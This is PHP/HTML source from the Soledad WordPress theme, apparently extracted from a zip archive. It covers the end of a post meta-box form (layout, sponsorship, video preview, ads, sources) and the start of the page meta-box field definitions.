            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php esc_html_e( 'Select Single Style for This
                        Post?', 'soledad' ); ?></h2>
                </div>
                <div class="pcmt-control">
                    <p>
                        <select id="penci_single_style" name="penci_single_style">
                            <option value=""><?php esc_html_e( "Default Style( on Customize )", "soledad" ); ?></option>
							<?php for ( $i = 1; $i <= 22; $i ++ ) : ?>
                                <option value="style-<?php echo $i; ?>" <?php selected( $single_style, 'style-' . $i ); ?>>
									<?php esc_html_e( "Style $i", "soledad" ); ?>
                                </option>
							<?php endfor; ?>
                        </select>
                    </p>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php esc_html_e( 'Custom Aspect Ratio for Featured
                        Image of This Post?', 'soledad' ); ?></h2>
                    <p class="description"><?php esc_html_e( 'The aspect ratio of an element describes the proportional relationship
                        between its width and height, for example, 3:2 (width:height). The default aspect ratio is
                        3:2<br>Please note that this option does not apply when parallax images are enabled or for
                        Single Post Styles 1 & 2.', 'soledad' ); ?></p>
                </div>
                <div class="pcmt-control">
                    <p><input placeholder="<?php esc_html_e( 'Enter the custom aspect ratio here', 'soledad' ); ?>"
                              id="_customize-input-penci_pfeatured_image_ratio" name="penci_pfeatured_image_ratio"
                              type="text" value="<?php echo esc_attr( $pfeatured_image_ratio ); ?>"></p>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php esc_html_e( 'Enable Parallax Images for This
                        Post?', 'soledad' ); ?></h2>
                    <p class="description"><?php esc_html_e( 'This feature does not apply for Single Style 1 & 2', 'soledad' ); ?></p>
                </div>
                <div class="pcmt-control">
                    <p>
                        <select id="penci_enable_jarallax_single" name="penci_enable_jarallax_single">
                            <option value=""><?php esc_html_e( 'No', 'soledad' ); ?></option>
                            <option value="yes" <?php selected( $enable_parallax, 'yes' ); ?>><?php esc_html_e( 'Yes', 'soledad' ); ?></option>
                        </select>
                    </p>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php esc_html_e( 'Custom Post Builder Template for
                        This Post', 'soledad' ); ?></h2>
                </div>
                <div class="pcmt-control">
                    <p>
                        <select id="penci_single_builder_layout" name="penci_single_builder_layout">
							<?php foreach ( $single_layout as $single_slug => $single_name ) { ?>
                                <option value="<?php echo $single_slug; ?>" <?php selected( $single_slug, $singlebd_layout ); ?>><?php echo $single_name; ?></option>
							<?php } ?>
                        </select>
                    </p>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php esc_html_e( 'Custom Header Layout for
                        This Post', 'soledad' ); ?></h2>
                </div>
                <div class="pcmt-control">
                    <p>
                        <select id="penci_header_layout" name="penci_header_layout">
							<?php
							$header_layout_options = array(
								''          => __( 'Default Setting', 'soledad' ),
								'header-1'  => __( 'Header 1', 'soledad' ),
								'header-2'  => __( 'Header 2', 'soledad' ),
								'header-3'  => __( 'Header 3', 'soledad' ),
								'header-4'  => __( 'Header 4 ( Centered )', 'soledad' ),
								'header-5'  => __( 'Header 5 ( Centered )', 'soledad' ),
								'header-6'  => __( 'Header 6', 'soledad' ),
								'header-7'  => __( 'Header 7', 'soledad' ),
								'header-8'  => __( 'Header 8', 'soledad' ),
								'header-9'  => __( 'Header 9', 'soledad' ),
								'header-10' => __( 'Header 10', 'soledad' ),
								'header-11' => __( 'Header 11', 'soledad' ),
							);
							foreach ( $header_layout_options as $header_slug => $header_name ) { ?>
                                <option value="<?php echo $header_slug; ?>" <?php selected( $header_slug, $headerdf_layout ); ?>><?php echo $header_name; ?></option>
							<?php } ?>
                        </select>
                    </p>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php esc_html_e( 'Custom Header Builder Template for
                        This Post', 'soledad' ); ?></h2>
                </div>
                <div class="pcmt-control">
                    <p>
                        <select id="penci_header_builder_layout" name="penci_header_builder_layout">
							<?php foreach ( $header_layout as $header_slug => $header_name ) { ?>
                                <option value="<?php echo $header_slug; ?>" <?php selected( $header_slug, $headerbd_layout ); ?>><?php echo $header_name; ?></option>
							<?php } ?>
                        </select>
                    </p>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php esc_html_e( 'Custom Header Block for
                        This Post', 'soledad' ); ?></h2>
                </div>
                <div class="pcmt-control">
                    <p>
                        <select id="penci_header_block_layout" name="penci_header_block_layout">
							<?php foreach ( $footer_layout as $footer_slug => $footer_name ) { ?>
                                <option value="<?php echo $footer_slug; ?>" <?php selected( $footer_slug, $penci_header_block_layout ); ?>><?php echo $footer_name; ?></option>
							<?php } ?>
                        </select>
                    </p>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php esc_html_e( 'Custom Footer Builder Template for
                        This Post', 'soledad' ); ?></h2>
                </div>
                <div class="pcmt-control">
                    <p>
                        <select id="penci_footer_builder_layout" name="penci_footer_builder_layout">
							<?php foreach ( $footer_layout as $footer_slug => $footer_name ) { ?>
                                <option value="<?php echo $footer_slug; ?>" <?php selected( $footer_slug, $footerbd_layout ); ?>><?php echo $footer_name; ?></option>
							<?php } ?>
                        </select>
                    </p>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php esc_html_e( 'Enable Table of Content for This
                        Post', 'soledad' ); ?></h2>
                </div>
                <div class="pcmt-control">
                    <p>
                        <select id="penci_toc_enable" name="penci_toc_enable">
                            <option value=""><?php esc_html_e( 'Default Settings', 'soledad' ); ?></option>
                            <option value="yes" <?php selected( $penci_toc_enable, 'yes' ); ?>><?php esc_html_e( 'Yes', 'soledad' ); ?></option>
                            <option value="no" <?php selected( $penci_toc_enable, 'no' ); ?>><?php esc_html_e( 'No', 'soledad' ); ?></option>
                        </select>
                    </p>
                </div>
            </div>
            <?php
                $post_type = get_theme_mod( 'penci_ha_enabled_post_types', [] );
                if ( in_array( 'post', $post_type ) ) {
            ?>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php esc_html_e( 'Enable Article Feedback for This
                        Post', 'soledad' ); ?></h2>
                </div>
                <div class="pcmt-control">
                    <p>
                        <select id="penci_helpful_enable" name="penci_helpful_enable">
                            <option value=""><?php esc_html_e( 'Default Settings', 'soledad' ); ?></option>
                            <option value="yes" <?php selected( $penci_helpful_enable, 'yes' ); ?>><?php esc_html_e( 'Yes', 'soledad' ); ?></option>
                            <option value="no" <?php selected( $penci_helpful_enable, 'no' ); ?>><?php esc_html_e( 'No', 'soledad' ); ?></option>
                        </select>
                    </p>
                </div>
            </div>
            <?php } ?>

			<?php if ( ! get_theme_mod( 'penci_disable_extra_author' ) ) : ?>

                <div class="pcmt-control-wrapper">
                    <div class="pcmt-title">
                        <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php esc_html_e( 'Extra Author Action for This
                        Post', 'soledad' ); ?></h2>
                    </div>
                    <div class="pcmt-control" style="flex-direction: column;">
                        <div class="pcmt-child-control" style="width: 100%;">
                            <label for="penci_extra_author"
                                   style="font-weightl:bold;display:block;margin-bottom:10px;"><?php esc_html_e( 'Select
                            Action', 'soledad' ); ?></label>
                            <p class="select-button-type">
                                <select id="penci_extra_author" name="penci_extra_author">
                                    <option <?php selected( $penci_extra_author, 'updated_by' ); ?>
                                            value="updated_by"><?php _e( 'Updated By', 'soledad' ); ?></option>
                                    <option <?php selected( $penci_extra_author, 'reviewed_by' ); ?>
                                            value="reviewed_by"><?php _e( 'Reviewed By', 'soledad' ); ?></option>
                                    <option <?php selected( $penci_extra_author, 'edited_by' ); ?>
                                            value="edited_by"><?php _e( 'Edited By', 'soledad' ); ?></option>
                                    <option <?php selected( $penci_extra_author, 'revised_by' ); ?>
                                            value="revised_by"><?php _e( 'Revised By', 'soledad' ); ?></option>
                                </select>
                            </p>
                        </div>
						<?php
						$user_lists = get_users( [ 'role__not_in' => [ 'subscriber', 'customer' ] ] );
						$total_user = count( $user_lists );
						?>
                        <div class="pcmt-child-control" style="width: 100%;">
                            <label for="penci_extra_author_id"
                                   style="font-weightl:bold;display:block;margin-bottom:10px;"><?php esc_html_e( 'Action
                            By', 'soledad' ); ?></label>
							<?php if ( $total_user < 10 ): ?>
                                <select data-value="<?php echo $penci_extra_author_id; ?>" id="penci_extra_author_id"
                                        name="penci_extra_author_id">
                                    <option value=""><?php _e( '-- Select User --', 'soledad' ); ?></option>
									<?php foreach ( $user_lists as $id => $user ): ?>
                                        <option <?php selected( $penci_extra_author_id, $user->ID ); ?>
                                                value="<?php echo $user->ID; ?>"><?php echo $user->display_name; ?></option>
									<?php endforeach; ?>
                                </select>
							<?php else: ?>
                                <div style="min-width:270px;">
                                    <select class="penci_extra_author_ajax_id" id="penci_extra_author_id"
                                            name="penci_extra_author_id">
                                        <option value=""></option>
										<?php if ( $penci_extra_author_id ): ?>
                                            <option selected="selected"
                                                    value="<?php echo $penci_extra_author_id; ?>"><?php echo get_the_author_meta( 'display_name', $penci_extra_author_id ); ?></option>
										<?php endif; ?>
                                    </select>
                                </div>
							<?php endif; ?>
                        </div>
                    </div>
                </div>

			<?php endif; ?>

            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php _e( 'Sponsored Post', 'soledad' ); ?></h2>
                </div>
                <div class="pcmt-control" style="flex-direction: column;">
                    <div class="pcmt-child-control" style="width: 100%;">
                        <label for="penci_sponsored_post"
                               style="font-weightl:bold;display:block;margin-bottom:10px;"><?php _e( 'Sponsored
                            Post', 'soledad' ); ?></label>
                        <p class="select-button-type">
                            <select id="penci_sponsored_post" name="penci_sponsored_post">
                                <option <?php selected( $penci_sponsored_post, '' ); ?>
                                        value=""><?php _e( 'Disable', 'soledad' ); ?></option>
                                <option <?php selected( $penci_sponsored_post, 'enable' ); ?>
                                        value="enable"><?php _e( 'Enable', 'soledad' ); ?></option>
                            </select>
                        </p>
                    </div>
                    <div class="pcmt-child-control" style="width: 100%;">
                        <label for="penci_sponsored_logo"
                               style="font-weightl:bold;display:block;margin-bottom:10px;"><?php _e( 'Sponsor
                            Logo', 'soledad' ); ?></label>
                        <div class="form-input-wrapper">
							<?php
							get_template_part( 'inc/templates/upload_form', '', array(
								'id'      => 'penci_sponsored_logo',
								'class'   => '',
								'name'    => 'penci_sponsored_logo',
								'source'  => isset( $penci_sponsored_logo ) ? $penci_sponsored_logo : '',
								'button'  => 'btn-single-image',
								'multi'   => false,
								'maxsize' => apply_filters( 'penci_maxsize_upload_profile_picture', '2mb' )
							) );
							?>
                        </div>
                    </div>
                    <div class="pcmt-child-control" style="width: 100%;">
                        <label for="penci_sponsored_post"
                               style="font-weightl:bold;display:block;margin-bottom:10px;"><?php _e( 'Sponsor
                            URL:', 'soledad' ); ?></label>
                        <input value="<?php echo $penci_sponsored_url; ?>" type="url" name="penci_sponsored_url"
                               id="penci_sponsored_url">
                    </div>
                    <div class="pcmt-child-control" style="width: 100%;">
                        <label for="penci_sponsored_redirect"
                               style="font-weightl:bold;display:block;margin-bottom:10px;"><?php _e( 'Directly Redirect', 'soledad' ); ?></label>
                        <p class="select-button-type">
                            <select id="penci_sponsored_redirect" name="penci_sponsored_redirect">
                                <option <?php selected( $penci_sponsored_redirect, '' ); ?>
                                        value=""><?php _e( 'Disable', 'soledad' ); ?></option>
                                <option <?php selected( $penci_sponsored_redirect, 'enable' ); ?>
                                        value="enable"><?php _e( 'Enable', 'soledad' ); ?></option>
                            </select>
                        </p>
                    </div>
                </div>
            </div>

            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;">Video Preview on Hover
                        Thumbnail</h2>
                </div>
                <div class="pcmt-control" style="flex-direction: column;">
                    <div class="pcmt-child-control" style="width: 100%;">
                        <label for="penci_video_preview"
                               style="font-weightl:bold;display:block;margin-bottom:10px;"><?php _e( 'Enable Video Preview on Hover
                            Thumbnail', 'soledad' ); ?></label>
                        <p class="select-button-type">
                            <select id="penci_video_preview" name="penci_video_preview">
                                <option <?php selected( $penci_video_preview, '' ); ?>
                                        value=""><?php _e( 'Disable', 'soledad' ); ?></option>
                                <option <?php selected( $penci_video_preview, 'enable' ); ?>
                                        value="enable"><?php _e( 'Enable', 'soledad' ); ?></option>
                            </select>
                        </p>
                    </div>
                    <div class="pcmt-child-control" style="width: 100%;">
                        <label for="penci_video_preview_url"
                               style="font-weightl:bold;display:block;margin-bottom:10px;"><?php _e( 'Video URL:', 'soledad' ); ?></label>
                        <input value="<?php echo $penci_video_preview_url; ?>" type="url" name="penci_video_preview_url"
                               id="penci_video_preview_url">
                        <div style="margin-top: 10px;" class="description">
                            <p><?php _e( 'Please enter the full video URL, ensuring it ends with one of the following extensions:
                                .mp4, .mov, .mkv, .webm, and so on. You may also input URLs from YouTube, Vimeo, or
                                Facebook videos.', 'soledad' ); ?></p>
                        </div>
                    </div>
                </div>
            </div>

            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php _e( 'Disable All Adsense Code on This Post', 'soledad' ); ?></h2>
                </div>
                <div class="pcmt-control" style="flex-direction: column;">
                    <div class="pcmt-child-control" style="width: 100%;">
                        <label for="penci_page_dis_ads"
                               style="font-weightl:bold;display:block;margin-bottom:10px;"><?php _e( 'This option will remove all the ad code you\'ve added to this post.', 'soledad' ); ?></label>
                        <p class="select-button-type">
                            <select id="penci_page_dis_ads" name="penci_page_dis_ads">
                                <option <?php selected( $penci_page_dis_ads, '' ); ?>
                                        value=""><?php _e( 'No, Keep all Ads', 'soledad' ); ?></option>
                                <option <?php selected( $penci_page_dis_ads, 'enable' ); ?>
                                        value="disable"><?php _e( 'Yes, Disable all Ads', 'soledad' ); ?></option>
                            </select>
                        </p>
                    </div>
                </div>
            </div>

            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php _e( 'Post Sources', 'soledad' ); ?></h2>
                </div>
                <div class="pcmt-control" style="flex-direction: column;">
                    <div class="pcmt-child-control" style="width: 100%;">
                        <label for="penci_post_sources"
                               style="font-weightl:bold;display:block;margin-bottom:10px;"><?php _e( 'Add sources for this post.', 'soledad' ); ?></label>


                        <div class="pc-meta-repeater" id="penci-post-sources-wrapper">
                            <!-- Repeater Item Template (Hidden) -->
                            <div class="pc-meta-repeater-item-content pc-repeater-template" style="display: none;">
                                <div class="pc-meta-repeater-input">
                                    <label><?php _e( 'Name', 'soledad' ); ?></label>
                                    <input type="text" name="" class="source-name" value="">
                                </div>
                                <div class="pc-meta-repeater-input">
                                    <label><?php _e( 'URL', 'soledad' ); ?></label>
                                    <input type="text" name="" class="source-url" value="">
                                </div>
                                <a href="#" class="pc-meta-repeater-item-remove"><?php _e( 'Remove', 'soledad' ); ?></a>
                            </div>

                            <!-- Repeater Items Container -->
                            <div class="pc-meta-repeater-items">
								<?php if ( $penci_post_sources ):
									foreach ( $penci_post_sources as $index => $source ): ?>
                                        <div class="pc-meta-repeater-item-content">
                                            <div class="pc-meta-repeater-input">
                                                <label><?php _e( 'Name', 'soledad' ); ?></label>
                                                <input type="text"
                                                       name="penci_post_sources[<?php echo $index; ?>][name]"
                                                       class="source-name" value="<?php echo $source['name']; ?>">
                                            </div>
                                            <div class="pc-meta-repeater-input">
                                                <label><?php _e( 'URL', 'soledad' ); ?></label>
                                                <input type="text" name="penci_post_sources[<?php echo $index; ?>][url]"
                                                       class="source-url" value="<?php echo $source['url']; ?>">
                                            </div>
                                            <a href="#"
                                               class="pc-meta-repeater-item-remove"><?php _e( 'Remove', 'soledad' ); ?></a>
                                        </div>
									<?php endforeach;
								endif;
								?>
                            </div>

                            <!-- Add Button -->
                            <div class="pc-meta-repeater-item-actions">
                                <button type="button"
                                        class="button pc-meta-repeater-item-add"><?php _e( 'Add new source', 'soledad' ); ?></button>
                            </div>
                        </div>

                        <!-- jQuery Script -->
                        <script>
                          jQuery(document).ready(function ($) {
                            function updateRepeaterInputNames () {
                              $('#penci-post-sources-wrapper .pc-meta-repeater-items .pc-meta-repeater-item-content').
                                each(function (index) {
                                  $(this).find('.source-name').attr('name', 'penci_post_sources[' + index + '][name]')
                                  $(this).find('.source-url').attr('name', 'penci_post_sources[' + index + '][url]')
                                })
                            }

                            // Add new item
                            $('.pc-meta-repeater-item-add').on('click', function (e) {
                              e.preventDefault()
                              var $template = $('.pc-repeater-template').
                                clone().
                                removeClass('pc-repeater-template').
                                show()
                              $('.pc-meta-repeater-items').append($template)
                              updateRepeaterInputNames()
                            })

                            // Remove item
                            $('#penci-post-sources-wrapper').on('click', '.pc-meta-repeater-item-remove', function (e) {
                              e.preventDefault()
                              $(this).closest('.pc-meta-repeater-item-content').remove()
                              updateRepeaterInputNames()
                            })
                          })
                        </script>

                    </div>
                </div>
            </div>

			<?php if ( get_theme_mod( 'penci_speed_remove_css' ) ): ?>
                <div class="pcmt-control-wrapper">
                    <div class="pcmt-title">
                        <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php _e( 'Create a Separate Critical CSS
                            cache for this Post?', 'soledad' ); ?></h2>
                    </div>
                    <div class="pcmt-control">
                        <p>
                            <select id="penci_post_critical_css" name="penci_post_critical_css">
                                <option value=""><?php _e( 'No', 'soledad' ); ?></option>
                                <option value="yes" <?php selected( $penci_post_critical_css, 'yes' ); ?>><?php _e( 'Yes', 'soledad' ); ?></option>
                            </select>
                        </p>
                    </div>
                </div>
			<?php endif; ?>
		<?php }
	}
}
PK     N\fL  L    inc/meta-box/register/page.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

add_filter( 'penci_meta_boxes', 'penci_page_meta_box' );
function penci_page_meta_box( $meta_boxes ) {

	$tabs = array(
		'page_general'    => array(
			'label' => esc_html__( 'General', 'soledad' ),
			'icon'  => 'dashicons dashicons-admin-site',
		),
		'page_header'     => array(
			'label' => esc_html__( 'Header', 'soledad' ),
			'icon'  => 'dashicons dashicons-media-text',
		),
		'page_footer'     => array(
			'label' => esc_html__( 'Footer', 'soledad' ),
			'icon'  => 'dashicons dashicons-media-text',
		),
		'page_title'      => array(
			'label' => esc_html__( 'Page Header', 'soledad' ),
			'icon'  => 'dashicons dashicons-media-text',
		),
		'page_background' => array(
			'label' => esc_html__( 'Background', 'soledad' ),
			'icon'  => 'dashicons dashicons-media-text',
		),
		'page_custom_css' => array(
			'label' => esc_html__( 'Custom CSS', 'soledad' ),
			'icon'  => 'dashicons dashicons-media-text',
		),
	);

	$header_layout = [];
	$footer_layout = [];

	$header_layout[''] = esc_attr__( 'Default Customizer Settings' );
	$footer_layout[''] = esc_attr__( 'Default Customizer Settings' );

	$header_layouts = get_posts( [
		'post_type'      => 'penci_builder',
		'posts_per_page' => - 1,
	] );
	foreach ( $header_layouts as $header ) {
		$header_layout[ $header->ID ] = $header->post_title;
	}

	$footer_layouts = get_posts( [
		'post_type'      => 'penci-block',
		'posts_per_page' => - 1,
	] );
	foreach ( $footer_layouts as $footer ) {
		$footer_layout[ $footer->ID ] = $footer->post_title;
	}

	$fields = array(
		array(
			'tab'  => 'page_general',
			'id'   => 'penci_page_style',
			'name' => esc_html__( 'Page Template', 'soledad' ),
			'type' => 'tab_general_options',
		),

		// Hide footer and header
		array(
			'tab'     => 'page_header',
			'id'      => 'header_builder_layout',
			'name'    => esc_html__( 'Header Builder Layout', 'soledad' ),
			'type'    => 'select',
			'std'     => '',
			'options' => $header_layout,
			'desc'    => esc_html__( 'Override header builder layout for this page.', 'soledad' ),
		),
		
		array(
			'tab'     => 'page_header',
			'id'      => 'header_block_layout',
			'name'    => esc_html__( 'Header Block', 'soledad' ),
			'type'    => 'select',
			'std'     => '',
			'options' => $footer_layout,
			'desc'    => esc_html__( 'Use the Penci Block as Header Template for this page.', 'soledad' ),
		),

		array(
			'tab'     => 'page_header',
			'id'      => 'header_style',
			'name'    => esc_html__( 'Header Style', 'soledad' ),
			'type'    => 'select',
			'std'     => '',
			'options' => array(
				''          => esc_html__( 'Default Value ( on Customize )', 'soledad' ),
				'header-1'  => esc_html__( 'Header 1', 'soledad' ),
				'header-2'  => esc_html__( 'Header 2', 'soledad' ),
				'header-3'  => esc_html__( 'Header 3', 'soledad' ),
				'header-4'  => esc_html__( 'Header 4 ( Centered )', 'soledad' ),
				'header-5'  => esc_html__( 'Header 5 ( Centered )', 'soledad' ),
				'header-6'  => esc_html__( 'Header 6', 'soledad' ),
				'header-7'  => esc_html__( 'Header 7', 'soledad' ),
				'header-8'  => esc_html__( 'Header 8', 'soledad' ),
				'header-9'  => esc_html__( 'Header 9', 'soledad' ),
				'header-10' => esc_html__( 'Header 10', 'soledad' ),
				'header-11' => esc_html__( 'Header 11', 'soledad' ),
			),
			'desc'    => esc_html__( 'Override header style for this page.', 'soledad' ),
		),
		array(
			'id'      => 'penci_header_width',
			'name'    => esc_html__( 'Custom Header Container Width', 'soledad' ),
			'type'    => 'select',
			'options' => array(
				''          => esc_html__( 'Default( follow Customize )', 'soledad' ),
				'1170'      => esc_html__( 'Width: 1170px', 'soledad' ),
				'1400'      => esc_html__( 'Width: 1400px', 'soledad' ),
				'fullwidth' => esc_html__( 'FullWidth', 'soledad' ),
			),
			'tab'     => 'page_header',
			'desc'    => esc_html__( 'Replace & change header with for this page.', 'soledad' ),
		),
		array(
			'id'   => 'penci_mainmenu_height',
			'type' => 'number',
			'name' => esc_html__( 'Custom Main Nav Height( min 30px )', 'soledad' ),
			'min'  => '1',
			'max'  => '500',
			'tab'  => 'page_header',
		),
		array(
			'id'   => 'penci_mainmenu_height_sticky',
			'type' => 'number',
			'name' => esc_html__( 'Custom Main Nav Height when Sticky Header( min 30px )', 'soledad' ),
			'min'  => '1',
			'max'  => '500',
			'tab'  => 'page_header',
		),
		array(
			'id'      => 'topbar_menu',
			'name'    => esc_html__( 'Custom TopBar Menu', 'soledad' ),
			'type'    => 'select',
			'options' => penci_get_option_menus(),
			'tab'     => 'page_header',
			'desc'    => esc_html__( 'Replace & change Topbar Menu for this page.', 'soledad' ),
		),
		array(
			'id'      => 'main_nav_menu',
			'name'    => esc_html__( 'Custom Primary Menu', 'soledad' ),
			'type'    => 'select',
			'options' => penci_get_option_menus(),
			'tab'     => 'page_header',
			'desc'    => esc_html__( 'Replace & change Primary Menu for this page.', 'soledad' ),
		),
		array(
			'id'   => 'custom_logo',
			'name' => esc_html__( 'Custom Logo Image', 'soledad' ),
			'type' => 'image',
			'desc' => esc_html__( 'You can override default site logo for this page.', 'soledad' ),
			'tab'  => 'page_header',
		),
		array(
			'id'   => 'header_bgcolor',
			'name' => esc_html__( 'Header Background Color', 'soledad' ),
			'desc' => esc_html__( 'You can change header background color with this option.', 'soledad' ),
			'type' => 'color',
			'tab'  => 'page_header',
		),
		array(
			'id'   => 'header_bgimg',
			'name' => esc_html__( 'Header Background Image', 'soledad' ),
			'type' => 'image',
			'desc' => esc_html__( 'You can change header background image color with this option. You should use image with minimum width 1920px and minimum height 300px', 'soledad' ),
			'tab'  => 'page_header',
		),

		array(
			'id'   => 'main_bar_bg',
			'name' => esc_html__( 'Main Bar Background Color', 'soledad' ),
			'desc' => esc_html__( 'You can change main nav background color with this option.', 'soledad' ),
			'type' => 'color',
			'tab'  => 'page_header',
		),
		array(
			'id'   => 'main_bar_bgimg',
			'name' => esc_html__( 'Main Bar Background Image', 'soledad' ),
			'type' => 'image',
			'desc' => esc_html__( 'You can change main bar background image color with this option.', 'soledad' ),
			'tab'  => 'page_header',
		),
		array(
			'id'      => 'penci_edeader_trans',
			'name'    => esc_html__( 'Enable Header Transparent', 'soledad' ),
			'type'    => 'select',
			'options' => array(
				''    => esc_html__( 'Default', 'soledad' ),
				'no'  => esc_html__( 'No', 'soledad' ),
				'yes' => esc_html__( 'Yes', 'soledad' )
			),
			'std'     => '',
			'tab'     => 'page_header',
		),
		array(
			'id'   => 'hlogo_trans',
			'name' => esc_html__( 'Upload Logo for Transparent Header style 6, 9, 10 & 11', 'soledad' ),
			'type' => 'image',
			'desc' => esc_html__( 'Important Note: This option apply when you use transparent header only', 'soledad' ),
			'tab'  => 'page_header',
		),
		array(
			'id'    => 'tran_slogan_color',
			'name'  => esc_html__( 'Header Slogan Text Color', 'soledad' ),
			'type'  => 'color',
			'tab'   => 'page_header',
			'style' => 'penci-col-6'
		),
		array(
			'id'    => 'tran_slogan_line_color',
			'name'  => esc_html__( 'Header Slogan Line Color', 'soledad' ),
			'type'  => 'color',
			'tab'   => 'page_header',
			'style' => 'penci-col-6'
		),
		array(
			'id'    => 'tran_social_color',
			'name'  => esc_html__( 'Header Social Icons Color', 'soledad' ),
			'type'  => 'color',
			'tab'   => 'page_header',
			'style' => 'penci-col-6'
		),
		array(
			'id'    => 'tran_social_color_hover',
			'name'  => esc_html__( 'Header Social Icons Color Hover', 'soledad' ),
			'type'  => 'color',
			'tab'   => 'page_header',
			'style' => 'penci-col-6'
		),
		array(
			'id'    => 'tran_main_bar_nav_color',
			'name'  => esc_html__( 'Main Bar Menu Text Color', 'soledad' ),
			'type'  => 'color',
			'tab'   => 'page_header',
			'style' => 'penci-col-6'
		),
		array(
			'id'    => 'tran_bar_color_active',
			'name'  => esc_html__( 'Main Bar Menu Text Hover & Active Color', 'soledad' ),
			'type'  => 'color',
			'tab'   => 'page_header',
			'style' => 'penci-col-6'
		),
		array(
			'id'    => 'tran_main_bar_padding_color',
			'name'  => esc_html__( 'Main Bar Padding Menu Items Background Color', 'soledad' ),
			'type'  => 'color',
			'tab'   => 'page_header',
			'style' => 'penci-col-6'
		),
		array(
			'id'    => 'tran_main_bar_search_magnify',
			'name'  => esc_html__( 'Main Bar Search Icon Color', 'soledad' ),
			'type'  => 'color',
			'tab'   => 'page_header',
			'style' => 'penci-col-6'
		),
		array(
			'id'    => 'tran_main_bar_close_color',
			'name'  => esc_html__( 'Main Bar Icon Close Search Color', 'soledad' ),
			'type'  => 'color',
			'tab'   => 'page_header',
			'style' => 'penci-col-6'
		),

		// Footer
		array(
			'tab'     => 'page_footer',
			'id'      => 'footer_builder_layout',
			'name'    => esc_html__( 'Footer Builder Layout', 'soledad' ),
			'type'    => 'select',
			'std'     => '',
			'options' => $footer_layout,
			'desc'    => esc_html__( 'Override footer builder layout for this page.', 'soledad' ),
		),
		array(
			'id'      => 'penci_hide_fwidget',
			'name'    => esc_html__( 'Disable Footer Widget Area', 'soledad' ),
			'type'    => 'select',
			'options' => array(
				''    => esc_html__( 'Default', 'soledad' ),
				'no'  => esc_html__( 'No', 'soledad' ),
				'yes' => esc_html__( 'Yes', 'soledad' )
			),
			'std'     => '',
			'tab'     => 'page_footer',
		),
		array(
			'id'      => 'penci_footer_width',
			'name'    => esc_html__( 'Footer Container Width', 'soledad' ),
			'type'    => 'select',
			'options' => array(
				''          => esc_html__( 'Default( follow Customize )', 'soledad' ),
				'1170'      => esc_html__( 'Width: 1170px', 'soledad' ),
				'1400'      => esc_html__( 'Width: 1400px', 'soledad' ),
				'fullwidth' => esc_html__( 'FullWidth', 'soledad' ),
			),
			'std'     => '',
			'tab'     => 'page_footer',
		),
		array(
			'id'   => 'penci_fw_padding_top_bottom',
			'type' => 'number',
			'name' => esc_html__( 'Footer Widget Area Padding Top & Bottom', 'soledad' ),
			'desc' => esc_html__( 'Numeric value only, unit is pixel', 'soledad' ),
			'min'  => 1,
			'step' => 1,
			'max'  => 200,
			'tab'  => 'page_footer',
		),
		array(
			'tab'     => 'page_footer',
			'id'      => 'penci_footer_style',
			'name'    => esc_html__( 'Footer Widget Area Columns Layout', 'soledad' ),
			'type'    => 'select',
			'std'     => '',
			'options' => array(
				''         => esc_html__( 'Default', 'soledad' ),
				'style-1'  => '1/3 + 1/3 + 1/3',
				'style-2'  => '1/3 + 2/3',
				'style-3'  => '2/3 + 1/3',
				'style-4'  => '1/4 + 1/4 + 1/4 + 1/4',
				'style-5'  => '2/4 + 1/4 + 1/4',
				'style-6'  => '1/4 + 2/4 + 1/4',
				'style-7'  => '1/4 + 1/4 + 2/4',
				'style-8'  => '1/4 + 3/4',
				'style-9'  => '3/4 + 1/4',
				'style-10' => '1/2 + 1/2',
			),
			'desc'    => esc_html__( 'Override footer layout for this page.', 'soledad' ),
		),
		// Page header
		array(
			'name'    => esc_html__( 'Enable/Disable Page Header', 'soledad' ),
			'id'      => "pheader_show",
			'type'    => 'select',
			'options' => array(
				''        => esc_html__( 'Default', 'soledad' ),
				'enable'  => esc_html__( 'Enable', 'soledad' ),
				'disable' => esc_html__( 'Disable', 'soledad' )
			),
			'tab'     => 'page_title',
		),
		array(
			'name'    => esc_html__( 'Hide/Show Line Below Title', 'soledad' ),
			'id'      => 'pheader_hideline',
			'type'    => 'select',
			'options' => array(
				''     => esc_html__( 'Default', 'soledad' ),
				'hide' => esc_html__( 'Hide', 'soledad' ),
				'show' => esc_html__( 'Show', 'soledad' ),
			),
			'tab'     => 'page_title',
			'style'   => 'penci-col-6'
		),
		array(
			'name'    => esc_html__( 'Hide/Show Breadcrumbs', 'soledad' ),
